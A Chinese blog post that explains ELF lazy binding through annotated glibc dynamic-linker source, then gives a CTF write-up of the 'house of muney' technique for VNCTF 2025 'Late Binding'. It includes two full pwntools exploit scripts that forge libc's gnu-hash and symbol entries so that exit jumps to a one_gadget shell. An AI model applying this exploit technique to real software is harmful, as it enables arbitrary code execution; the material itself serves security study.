ELF延迟绑定

最后更新于 2025-03-27 5120 字 预计阅读时间: 23 分钟


延迟绑定

ELF的延迟绑定是通过_dl_runtime_resolve函数完成的,在ELF中存在一下几个段

  • .got
  • .got.plt
  • .plt

.got段存储的是程序运行时需要访问的全局符号的地址,包括变量和函数地址。


.got.plt段主要用于延迟绑定和函数调用的过程,它是解决动态链接函数调用的一个关键部分,.got.plt第一第二个成员分别存储着ELF的link_map结构体和_dl_runtime_resolve函数地址。

link_map结构体存储着动态链接需要的各种符号和字符串及地址,ELF和每个加载的so和ld各有一个link_map结构体,通过链表连接双向(l_next ,l_prev,l_real分别指向下一个link_map结构体,上一个link_map结构体和自身 ),可以通过p *(struct link_map *) 0x7ffff7fc0160查看

$1 = {
  l_addr = 140737351708672,
  l_name = 0x7ffff7fc0140 "/lib/x86_64-linux-gnu/libc.so.6",
  l_ld = 0x7ffff7f95940,
  l_next = 0x7ffff7ffdab0 <_rtld_global+2736>,
  l_prev = 0x7ffff7ffe8c0,
  l_real = 0x7ffff7fc0160,
  l_ns = 0,
  l_libname = 0x7ffff7fc0620,
  l_info = {0x0, 0x7ffff7f95940, 0x7ffff7f95a20, 0x7ffff7f95a10, 0x7ffff7f95980, 0x7ffff7f959a0, 0x7ffff7f959b0, 0x7ffff7f95a50, 0x7ffff7f95a60, 0x7ffff7f95a70, 0x7ffff7f959c0, 0x7ffff7f959d0, 0x0, 0x0, 0x7ffff7f95950, 0x0, 0x0, 0x0, 
    0x0, 0x0, 0x7ffff7f95a30, 0x0, 0x0, 0x7ffff7f95a40, 0x7ffff7f95ab0, 0x7ffff7f95960, 0x0, 0x7ffff7f95970, 0x0, 0x0, 0x7ffff7f95aa0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7f95b00, 0x7ffff7f95af0, 0x7ffff7f95b10, 0x7ffff7f959e0, 0x7ffff7f959f0, 
    0x0, 0x7ffff7f95a00, 0x7ffff7f95ad0, 0x7ffff7f95ac0, 0x7ffff7f95a90, 0x7ffff7f95a80, 0x7ffff7f95ab0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7f95ae0, 0x0 <repeats 25 times>, 0x7ffff7f95990},
  l_phdr = 0x7ffff7daf040,
  l_entry = 140737351880496,
  l_phnum = 14,
  l_ldnum = 36,
  l_searchlist = {
    r_list = 0x0,
    r_nlist = 0
  },
  l_symbolic_searchlist = {
    r_list = 0x7ffff7fc0618,
    r_nlist = 0
  },
  l_loader = 0x7ffff7ffe2e0,
  l_versions = 0x7ffff7fc07b0,
  l_nversions = 46,
  l_nbuckets = 1009,
  l_gnu_bitmask_idxbits = 511,
  l_gnu_shift = 15,
  l_gnu_bitmask = 0x7ffff7db3510,
  {
    l_gnu_buckets = 0x7ffff7db4510,
    l_chain = 0x7ffff7db4510
  },
  {
    l_gnu_chain_zero = 0x7ffff7db547c,
    l_buckets = 0x7ffff7db547c
  },
  l_direct_opencount = 0,
  l_type = lt_library,
  l_dt_relr_ref = 0,
  l_relocated = 1,
  l_init_called = 1,
  l_global = 1,
  l_reserved = 0,
  l_main_map = 0,
  l_visited = 1,
  l_map_used = 0,
  l_map_done = 0,
  l_phdr_allocated = 0,
  l_soname_added = 0,
  l_faked = 0,
  l_need_tls_init = 0,
  l_auditing = 0,
  l_audit_any_plt = 0,
  l_removed = 0,
  l_contiguous = 1,
  l_free_initfini = 0,
  l_ld_readonly = 0,
  l_find_object_processed = 0,
  l_tls_in_slotinfo = 1,
  l_nodelete_active = false,
  l_nodelete_pending = false,
  l_has_jump_slot_reloc = true,
  l_property = lc_property_valid,
  l_x86_feature_1_and = 0,
  l_x86_isa_1_needed = 1,
  l_1_needed = 0,
  l_rpath_dirs = {
    dirs = 0x0,
    malloced = 0
  },
  l_reloc_result = 0x0,
  l_versyms = 0x7ffff7dd3676,
  l_origin = 0x7ffff7fc0650 "/lib/x86_64-linux-gnu",
  l_map_start = 140737351708672,
  l_map_end = 140737353764312,
  l_scope_mem = {0x7ffff7ffe5d8, 0x0, 0x0, 0x0},
  l_scope_max = 4,
  l_scope = 0x7ffff7fc0500,
  l_local_scope = {0x7ffff7fc0458, 0x0},
  l_file_id = {
    dev = 2049,
    ino = 3416848
  },
  l_runpath_dirs = {
    dirs = 0x0,
    malloced = 0
  },
  l_initfini = 0x7ffff7fc0670,
  l_reldeps = 0x0,
  l_reldepsmax = 0,
  l_used = 1,
  l_feature_1 = 0,
  l_flags_1 = 1,
  l_flags = 24,
  l_idx = 0,
  l_mach = {
    plt = 0,
    gotplt = 0,
    tlsdesc_table = 0x0
  },
  l_lookup_cache = {
    sym = 0x7ffff7db87d0,
    type_class = 1,
    value = 0x7ffff7ffdab0 <_rtld_global+2736>,
    ret = 0x7ffff7fc8878
  },
  l_tls_initimage = 0x7ffff7f92b78,
  l_tls_initimage_size = 16,
  l_tls_blocksize = 136,
  l_tls_align = 8,
  l_tls_firstbyte_offset = 0,
  l_tls_offset = 136,
  l_tls_modid = 1,
  l_tls_dtor_count = 0,
  l_relro_addr = 1981304,
  l_relro_size = 13448,
  l_serial = 3
}

粗字体是后面延迟绑定会用到的成员


.plt段将ELF的link_map结构体推入栈中并执行_dl_runtime_resolve。

在程序未执行延迟绑定的函数时,该函数的got表的地址是以下地址。

在ida中找到对应地址,该函数将要延迟绑定的函数的在got表中的索引推入栈中(printf为0,read为1....)执行.plt段的第一个函数

在ELF中的绑定过程如下

  • 第一次调用函数,跳到该函数的got表
  • 该函数的got表记录的是对应plt表的函数,该函数将要执行函数在got表中的索引推入栈中并执行plt表的第一个函数,将ELF的link_map结构体的地址推入栈中进入_dl_runtime_resolve

深入_dl_runtime_resolve,保存环境并进入_dl_fixup

_dl_fixup

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
##通过在plt中推入的ELF link_map结构体获取ELF的符号表和字符表
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
##通过plt中推入的索引在重定位表中获取重定位表项的内容
  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL])
		      + reloc_offset (pltgot, reloc_arg));
##通过重定位表项的成员获取到该函数的got表地址和符号表项
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif
      ##进入_dl_lookup_symbol_x 函数遍历每个link_map结构体寻找对应符号
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

#ifdef SHARED
  /* Auditing checkpoint: we have a new binding.  Provide the auditing
     libraries the possibility to change the value and tell us whether further
     auditing is wanted.
     The l_reloc_result is only allocated if there is an audit module which
     provides a la_symbind.  */
  if (l->l_reloc_result != NULL)
    {
      /* This is the address in the array where we store the result of previous
	 relocations.  */
      struct reloc_result *reloc_result
	= &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))];
      unsigned int init = atomic_load_acquire (&reloc_result->init);
      if (init == 0)
	{
	  _dl_audit_symbind (l, reloc_result, sym, &value, result);

	  /* Store the result for later runs.  */
	  if (__glibc_likely (! GLRO(dl_bind_not)))
	    {
	      reloc_result->addr = value;
	      /* Guarantee all previous writes complete before init is
		 updated.  See CONCURRENCY NOTES below.  */
	      atomic_store_release (&reloc_result->init, 1);
	    }
	}
      else
	value = reloc_result->addr;
    }
#endif

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
##result为_dl_lookup_symbol_x返回的link_map地址重写got表项内容为对应函数的地址
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

_dl_lookup_symbol_x

_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
		     const ElfW(Sym) **ref,
		     struct r_scope_elem *symbol_scope[],
		     const struct r_found_version *version,
		     int type_class, int flags, struct link_map *skip_map)
{
##对传入的函数名计算hash
  const uint_fast32_t new_hash = dl_new_hash (undef_name);
  unsigned long int old_hash = 0xffffffff;
  struct sym_val current_value = { NULL, NULL };
  struct r_scope_elem **scope = symbol_scope;

  bump_num_relocations ();

  /* DL_LOOKUP_RETURN_NEWEST does not make sense for versioned
     lookups.  */
  assert (version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST));

  size_t i = 0;
  if (__glibc_unlikely (skip_map != NULL))
    /* Search the relevant loaded objects for a definition.  */
    while ((*scope)->r_list[i] != skip_map)
      ++i;

  /* Search the relevant loaded objects for a definition.  */
  for (size_t start = i; *scope != NULL; start = 0, ++scope)
##进入do_lookup_x 
    if (do_lookup_x (undef_name, new_hash, &old_hash, *ref,
		     &current_value, *scope, start, version, flags,
		     skip_map, type_class, undef_map) != 0)
      break;

  if (__glibc_unlikely (current_value.s == NULL))
    {
      if ((*ref == NULL || ELFW(ST_BIND) ((*ref)->st_info) != STB_WEAK)
	  && !(GLRO(dl_debug_mask) & DL_DEBUG_UNUSED))
	{
	  /* We could find no value for a strong reference.  */
	  const char *reference_name = undef_map ? undef_map->l_name : "";
	  const char *versionstr = version ? ", version " : "";
	  const char *versionname = (version && version->name
				     ? version->name : "");
	  struct dl_exception exception;
	  /* XXX We cannot translate the message.  */
	  _dl_exception_create_format
	    (&exception, DSO_FILENAME (reference_name),
	     "undefined symbol: %s%s%s",
	     undef_name, versionstr, versionname);
	  _dl_signal_cexception (0, &exception, N_("symbol lookup error"));
	  _dl_exception_free (&exception);
	}
      *ref = NULL;
      return 0;
    }

  int protected = (*ref
		   && ELFW(ST_VISIBILITY) ((*ref)->st_other) == STV_PROTECTED);
  if (__glibc_unlikely (protected != 0))
    {
      /* It is very tricky.  We need to figure out what value to
	 return for the protected symbol.  */
      if (type_class == ELF_RTYPE_CLASS_PLT)
	{
	  if (current_value.s != NULL && current_value.m != undef_map)
	    {
	      current_value.s = *ref;
	      current_value.m = undef_map;
	    }
	}
      else
	{
	  struct sym_val protected_value = { NULL, NULL };

	  for (scope = symbol_scope; *scope != NULL; i = 0, ++scope)
              
	    if (do_lookup_x (undef_name, new_hash, &old_hash, *ref,
			     &protected_value, *scope, i, version, flags,
			     skip_map,
			     (ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
			      && ELFW(ST_TYPE) ((*ref)->st_info) == STT_OBJECT
			      && type_class == ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA)
			     ? ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
			     : ELF_RTYPE_CLASS_PLT, NULL) != 0)
	      break;

	  if (protected_value.s != NULL && protected_value.m != undef_map)
	    {
	      current_value.s = *ref;
	      current_value.m = undef_map;
	    }
	}
    }

  /* We have to check whether this would bind UNDEF_MAP to an object
     in the global scope which was dynamically loaded.  In this case
     we have to prevent the latter from being unloaded unless the
     UNDEF_MAP object is also unloaded.  */
  if (__glibc_unlikely (current_value.m->l_type == lt_loaded)
      /* Don't do this for explicit lookups as opposed to implicit
	 runtime lookups.  */
      && (flags & DL_LOOKUP_ADD_DEPENDENCY) != 0
      /* Add UNDEF_MAP to the dependencies.  */
      && add_dependency (undef_map, current_value.m, flags) < 0)
      /* Something went wrong.  Perhaps the object we tried to reference
	 was just removed.  Try finding another definition.  */
      return _dl_lookup_symbol_x (undef_name, undef_map, ref,
				  (flags & DL_LOOKUP_GSCOPE_LOCK)
				  ? undef_map->l_scope : symbol_scope,
				  version, type_class, flags, skip_map);

  /* The object is used.  */
  if (__glibc_unlikely (current_value.m->l_used == 0))
    current_value.m->l_used = 1;

  if (__glibc_unlikely (GLRO(dl_debug_mask)
			& (DL_DEBUG_BINDINGS|DL_DEBUG_PRELINK)))
    _dl_debug_bindings (undef_name, undef_map, ref,
			&current_value, version, type_class, protected);

  *ref = current_value.s;
  return LOOKUP_VALUE (current_value.m);
}

do_lookup_x

do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
	     unsigned long int *old_hash, const ElfW(Sym) *ref,
	     struct sym_val *result, struct r_scope_elem *scope, size_t i,
	     const struct r_found_version *const version, int flags,
	     struct link_map *skip, int type_class, struct link_map *undef_map)
{
  size_t n = scope->r_nlist;
  /* Make sure we read the value before proceeding.  Otherwise we
     might use r_list pointing to the initial scope and r_nlist being
     the value after a resize.  That is the only path in dl-open.c not
     protected by GSCOPE.  A read barrier here might be to expensive.  */
  __asm volatile ("" : "+r" (n), "+m" (scope->r_list));
  struct link_map **list = scope->r_list;

  do
    {
      const struct link_map *map = list[i]->l_real;

      /* Here come the extra test needed for `_dl_lookup_symbol_skip'.  */
      if (map == skip)
	continue;

      /* Don't search the executable when resolving a copy reloc.  */
      if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
	continue;

      /* Do not look into objects which are going to be removed.  */
      if (map->l_removed)
	continue;

      /* Print some debugging info if wanted.  */
      if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
	_dl_debug_printf ("symbol=%s;  lookup in file=%s [%lu]\n",
			  undef_name, DSO_FILENAME (map->l_name),
			  map->l_ns);

      /* If the hash table is empty there is nothing to do here.  */
      if (map->l_nbuckets == 0)
	continue;

      Elf_Symndx symidx;
      int num_versions = 0;
      const ElfW(Sym) *versioned_sym = NULL;

      /* The tables for this map.  */
      ##获取当前link_map结构体的符号表和字符表
      const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

      ##获得当前link_map结构体的l_gnu_bitmask地址
      const ElfW(Sym) *sym;
      const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
      if (__glibc_likely (bitmask != NULL))
	{
          ##计算通过函数名得到的hash在bitmask数组中拿到bitmask_word
	  ElfW(Addr) bitmask_word
	    = bitmask[(new_hash / __ELF_NATIVE_CLASS)
		      & map->l_gnu_bitmask_idxbits];
          ##校验new_hash
	  unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
	  unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
				   & (__ELF_NATIVE_CLASS - 1));

	  if (__glibc_unlikely ((bitmask_word >> hashbit1)
				& (bitmask_word >> hashbit2) & 1))
	    {
              ##从hash桶中在对namehash对应的索引
	      Elf32_Word bucket = map->l_gnu_buckets[new_hash
						     % map->l_nbuckets];
	      if (bucket != 0)
		{
                  ##用bucket当作索引得到hasharr
		  const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
                  ##遍历hash桶的找到相同的hash值
		  do
		    if (((*hasharr ^ new_hash) >> 1) == 0)
		      {
			symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
			sym = check_match (undef_name, ref, version, flags,
					   type_class, &symtab[symidx], symidx,
					   strtab, map, &versioned_sym,
					   &num_versions);
			if (sym != NULL)
			  goto found_it;
		      }
		  while ((*hasharr++ & 1u) == 0);
		}
	

总结该过程

  • _dl_runtime_resolve保存环境并执行_dl_fixup
  • _dl_fixup通过link_map结构体获取到ELF的符号表,符号表和重定位表并根据传进来的索引在重定位表找到对应的重定位表项,获取到要覆写的got地址,同时根据索引在符号表找到函数名在字符表中的索引得到函数名称并进入_dl_lookup_symbol_x
  • _dl_lookup_symbol_x 计算函数名称的hash值并进入do_lookup_x
  • do_lookup_x 遍历每个link_map结构体,用函数名称的hash值通过每个link_map结构体的bitmask找到bitmask_word判断该hash是否在hash桶中,如果存在则获取到对应桶的索引获得hasharr,遍历hasharr寻找和函数名hash相同的hash,如果找到跳转到found it,并返回对应link_map结构体和对应索引
  • 返回到_dl_fixup执行elf_machine_fixup_plt通过对应link_map结构体和对应索引找到对应函数的地址并重写got表
  • 返回到_dl_runtime_resolve执行该函数。

以下是exit函数的延迟绑定过程

1.将index推入栈中

2.进入_dl_fixup函数,通过index在重定位表中找到exit的表项,获得到要覆写的got地址offset,和Info

重定位表结构如下,其中Info的高32字节是exit在符号表对应的索引

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
} Elf64_Rel;

3.通过Info的高32字节在符号表中找到对应的表项

符号表结构,大小为0x18字节

typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;

4.根据st_name可知该函数名称在字符串表的偏移为0x3c

将函数名称传入_dl_lookup_symbol_x 并计算hash通过hash桶寻找符号。最后返回link_map结构体和对应索引并从link_map得到重定位表,并拿到重定位表索引的st_value+link_map->l_addr 并写入got表中

house of muney

当一个程序开了延迟绑定并能伪造重定位表的st_value就可以实现任意地址跳转

VNCTF 2025 Late Binding

add的大小不能小于0x1ffff

editsize为int可以输入负数修改chunk_size也可以进行堆溢出

漏洞成因:当malloc一个大的chunk时会调用mmap在libc低地址处映射一个可读可写的区域,修改chunk_size到达libc地址free执行的是ummap将libc低地址处解除映射,再次add后就可以申请到libc低地址处。

malloc一个0x40000的堆该地址离libc地址仅0x40ff0

修改size溢出到libc地址

free前

free后

原libc低地址变为可写部分,而在link_map中libc的地址还是原地址,可以修改exit符号表的st_value为og即可,但ummap吧libc低地址全部清空,需要重写bitmask_word,hasharr和bucket

方法1:根据偏移重新重写原内容

计算namehash和buckeridx和bitmask_idx

gnu_hash=libc.get_section_by_name(".gnu.hash")
namehash=gnu_hash.gnu_hash("exit")
buckeridx=namehash%gnu_hash.params['nbuckets']
bitmask_idx = int(namehash / gnu_hash.elffile.elfclass) % gnu_hash.params['bloom_size']

link_map链表头在_rtld_global,,在link_map结构体找到bitmask,buckets和chain_zero

计算到原libc地址的偏移

hasharr_off=0x1b64
buckets_off=0xbc8
bitmask_off=0x3c8

根据buckeridx找到bucket的值为0x86

找到exit的符号表地址,伪造符号表

sym_off = dynsym_section['sh_offset'] + 0x86 * dynsym_section['sh_entsize']
sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() -dynstr_section['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size

填入即可

edit(0,base_off+hasharr_off+ gnu_hash._wordsize*0x86,p32(namehash))
edit(0,base_off+buckets_off+buckeridx* gnu_hash._wordsize,p32(0x86))
edit(0,base_off+bitmask_off+ gnu_hash._xwordsize*bitmask_idx,p64(0xf000028c0200130e))
edit(0,base_off+sym_off,sym_value)

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
elf=ELF(filename)
if debug:
    p=process(filename)
    #gdb.attach(p,"b *$rebase(0x1089)")
    #gdb.attach(p, "b exit")
else:
    p=remote("node1.hgame.vidar.club",  31374)
libc=ELF("./libc.so.6")
context.arch=elf.arch
select=b"Please select an option:"

def libc_base_recv():
    return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
def add(index,size):
    p.sendlineafter(select, b"1")
    p.sendlineafter(b"Enter customer ID:", str(index).encode())
    p.sendlineafter(b"Enter allocated data size:", str(size).encode())
    #p.sendlineafter(b"Content: ", content)
def edit(index,size,content=b"a"):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"Enter customer ID to update:", str(index).encode())
    p.sendlineafter(b"Enter data length:", str(size).encode())
    p.sendafter(b"Enter updated customer details:", content)

def free(index):
    p.sendlineafter(select,   b"2")
    p.sendlineafter(b"Enter customer ID to remove:", str(index).encode())
def show(index):
    p.sendlineafter(select,b"4")
    p.sendlineafter(b"Enter customer ID to view:", str(index).encode())
add(0, 0x40000 - 0x2000)
gdb.attach(proc.pidof(p)[0])
edit(0,-8, p64(0x41002 + 0x5000 + 0x4000))
free(0)
add(0, 0x41000 * 2 + 0x4000)
base_off = 0x7dff0
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04][1]
gnu_hash=libc.get_section_by_name(".gnu.hash")
namehash=gnu_hash.gnu_hash("exit")
dynstr_section = libc.get_section_by_name('.dynstr')
dynsym_section = libc.get_section_by_name('.dynsym')
bitmask_idx = int(namehash / gnu_hash.elffile.elfclass) % gnu_hash.params['bloom_size']
print(bitmask_idx)
#gdb.attach(p)
hasharr_off=0x1b64
buckets_off=0xbc8
bitmask_off=0x3c8
buckeridx=namehash%gnu_hash.params['nbuckets']
sym_off = dynsym_section['sh_offset'] + 0x86 * dynsym_section['sh_entsize']
sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() -dynstr_section['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size
print(hex(buckeridx))
edit(0,base_off+hasharr_off+ gnu_hash._wordsize*0x86,p32(namehash))
edit(0,base_off+buckets_off+buckeridx* gnu_hash._wordsize,p32(0x86))
edit(0,base_off+bitmask_off+ gnu_hash._xwordsize*bitmask_idx,p64(0xf000028c0200130e))
edit(0,base_off+sym_off,sym_value)
#1d7c
print(hex(sym_off))
p.sendlineafter(b"option:", b"5")
p.interactive()

方法2:根据ELF文件结构找到偏移和值并写入

获取到节区

gnu_hash=libc.get_section_by_name(".gnu.hash")
namehash=gnu_hash.gnu_hash("exit")
dynstr = libc.get_section_by_name('.dynstr')
dynsym = libc.get_section_by_name('.dynsym')

bitmask在.gnu.hash4个对齐地址处,获取bitmask基址并根据namehash计算bitmask_exit_idx。

bitmask_off=gnu_hash["sh_addr"]+4*gnu_hash._wordsize
bitmask_exit_idx=int(namehash//gnu_hash.elffile.elfclass)%gnu_hash.params["bloom_size"]
bitmask_exit_off=base_off+bitmask_off+bitmask_exit_idx*gnu_hash._xwordsize
bitmask_exit_val=gnu_hash.params["bloom"][bitmask_exit_idx]

buckets的地址紧跟在bitmask后

bucket_off=bitmask_off+gnu_hash.params["bloom_size"]*gnu_hash._xwordsize
bucket_exit_idx=namehash%gnu_hash.params["nbuckets"]
bucket_exit_off=base_off+bucket_off+bucket_exit_idx*gnu_hash._wordsize
bucket_exit_val=gnu_hash.params["buckets"][bucket_exit_idx]

gnu_hash._chain_pos获取到的地址和l_gnu_chain_zero有段偏移要减去gnu_hash.params["symoffset"]

hasharr_off=base_off+gnu_hash._chain_pos+(bucket_exit_val-gnu_hash.params["symoffset"])*gnu_hash._wordsize

sym的伪造

sym_off = base_off+dynsym['sh_offset'] + bucket_exit_val * dynsym['sh_entsize']
sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() -dynstr['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
elf=ELF(filename)
if debug:
    p=process(filename)
    gdb.attach(p,"b *$rebase(0x1460)")
    #gdb.attach(p, "b exit")
else:
    p=remote("node1.hgame.vidar.club",  31374)
libc=ELF("./libc.so.6")
context.arch=elf.arch
select=b"Please select an option:"

def libc_base_recv():
    return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))


def add(index,size):
    p.sendlineafter(select, b"1")
    p.sendlineafter(b"Enter customer ID:", str(index).encode())
    p.sendlineafter(b"Enter allocated data size:", str(size).encode())
    #p.sendlineafter(b"Content: ", content)


def edit(index,size,content=b"a"):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"Enter customer ID to update:", str(index).encode())
    p.sendlineafter(b"Enter data length:", str(size).encode())
    p.sendafter(b"Enter updated customer details:", content)

def free(index):
    p.sendlineafter(select,   b"2")
    p.sendlineafter(b"Enter customer ID to remove:", str(index).encode())


def show(index):
    p.sendlineafter(select,b"4")
    p.sendlineafter(b"Enter customer ID to view:", str(index).encode())

add(0, 0x40000 - 0x2000)
edit(0,-8, p64(0x41002 + 0x5000 + 0x4000))
#gdb.attach(p)
free(0)
add(0, 0x41000 * 2 + 0x4000)
base_off = 0x7dff0
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04][1]
gnu_hash=libc.get_section_by_name(".gnu.hash")
namehash=gnu_hash.gnu_hash("exit")
dynstr = libc.get_section_by_name('.dynstr')
dynsym = libc.get_section_by_name('.dynsym')
#gdb.attach(p)

bitmask_off=gnu_hash["sh_addr"]+4*gnu_hash._wordsize
bitmask_exit_idx=int(namehash//gnu_hash.elffile.elfclass)%gnu_hash.params["bloom_size"]
bitmask_exit_off=base_off+bitmask_off+bitmask_exit_idx*gnu_hash._xwordsize
bitmask_exit_val=gnu_hash.params["bloom"][bitmask_exit_idx]

bucket_off=bitmask_off+gnu_hash.params["bloom_size"]*gnu_hash._xwordsize
bucket_exit_idx=namehash%gnu_hash.params["nbuckets"]
bucket_exit_off=base_off+bucket_off+bucket_exit_idx*gnu_hash._wordsize
bucket_exit_val=gnu_hash.params["buckets"][bucket_exit_idx]

hasharr_off=base_off+gnu_hash._chain_pos+(bucket_exit_val-gnu_hash.params["symoffset"])*gnu_hash._wordsize

sym_off = base_off+dynsym['sh_offset'] + bucket_exit_val * dynsym['sh_entsize']
sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() -dynstr['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value
sym_value += p64(8) # st_size

edit(0,hasharr_off,p32(namehash))
edit(0,bucket_exit_off,p32(bucket_exit_val))
edit(0,bitmask_exit_off,p64(bitmask_exit_val))
edit(0,sym_off,sym_value)
p.sendlineafter(b"option:", b"5")
p.interactive()

house of banana

此作者没有提供个人介绍。
最后更新于 2025-03-27